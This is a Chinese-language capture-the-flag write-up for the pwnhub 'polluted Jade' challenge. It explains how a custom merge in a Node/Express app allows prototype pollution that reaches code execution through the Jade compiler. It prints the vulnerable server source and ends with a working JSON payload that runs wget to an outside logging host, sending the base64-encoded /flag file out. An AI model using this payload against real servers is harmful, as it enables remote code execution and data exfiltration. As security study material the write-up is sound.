pwnhub 被污染的Jade
题目本身不难,但是比较麻烦的就是两点,一是没给代码,后面怎么merge全靠猜,二是题目的cache严重,中间很多测试都被别人干扰,第一天的下午及其
2019-12-30 12:12:03
Author: lorexxar.cn(查看原文)
阅读量:415
收藏
题目本身不难,但是比较麻烦的就是两点,一是没给代码,后面怎么merge全靠猜,二是题目的cache严重,中间很多测试都被别人干扰,第一天的下午及其严重,基本上开始很多测试都被别人带跑偏了…
下面我就来梳理一下我的正常思路…
首先打开题目是比较简单粗暴的模板渲染,再结合题目不难发现题目是node+jade

因为我打开题目已经是下午了,所以基本上打开题目就一直都是报错,大概长这样:

基本也没什么好猜了,直接能看出来就是js原型链污染
关于js原型链污染的细节这里就不赘述了,可以看下面两篇文章
顺着这样的思路就可以翻翻看jade的代码看看
在之前文章中提到,我们可以通过污染object来影响js中没有设置的变量属性,首先我们就需要找一个没有被设置过但是却很重要的变量,形似与:
这样的代码在jade中非常多
首先顺着代码流程跟到lib/index.js 200行

可以看到这里的body直接拼接进了代码,但是这里body是本身有值的,所以顺着跟下去到149行。

这里是我的第一个思路,通过控制self,然后污染globals,globals会在addwith中直接被拼接进代码中。
这也是为什么我反复吐槽题目没有给代码…因为这条路在我本地环境里是可以走通的,但是在远程你会喜获一个报错,而且我调试了一晚上也不知道怎么修复这个报错…
没办法,因为这里走不下去,所以只能将self设置为true,往下走别的路。
当我们设置为true时,我们能控制的只有js变量,然后我们逐渐跟下去。
往下跟到lib/compile.js 60行

然后跟入visit函数

到这里不难发现可以覆盖line参数,运气比较好的是,到这里就能执行了,事实上往别的路走还有很多能执行的地方。
到这里jade这部分基本已经完成了,剩下的就是在远程中如何执行。
在成功执行命令之后我们可以拿到远程的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| const express = require('express'); const path = require('path'); const app = express(); var router = express.Router(); app.set('views', path.join(__dirname, 'views')); app.engine('jade', require('jade').__express); app.set("view engine", "jade"); app.use(express.json()).use(express.urlencoded({ extended: false })); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } router.get('/', (req, res, next) => { res.render('index', { title: 'HTML', name: '' }); }); router.post('/', (req, res, next) => { var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) res.render('index', { title: 'HTML', name: copybody.name || '' }); }); app.use('/', router) app.listen(3000, () => console.log('Example app listening on port http://127.0.0.1:3000 !'))
|
不难发现出题人强行写了一个merge,把req.body和{}合并导致了原型链污染,所以传递的对象不能是name,这也是坑了我开始的一大个问题。
然后就是覆盖globals会导致谜一样的错误

最后也没能找到原因,使用第二条路就比较简单了,直接可以执行
1
| {"__proto__":{"self":true,"line":"0, \"\" ));global.process.mainModule.constructor._load('child_process').exec(`wget msocp8.ceye.io?$(cat /flag|base64)`, function(){} );jade_debug.unshift(new jade.DebugItem( 0","filename":"test","title":"test","name":"test"}}
|

其实回顾题目还挺有意思的,只是可惜,jade的官方的范例中没有这种merge的操作,但题目又不给出代码,导致本来调试完成的题目成了远程瞎猜了,不过运气比较好的是,这题的利用不太复杂,如果特别复杂的话可能再配合远程cache这题就没法做了…
文章来源: https://lorexxar.cn/2019/12/30/pwnhub-jade/
如有侵权请联系:admin#unsafe.sh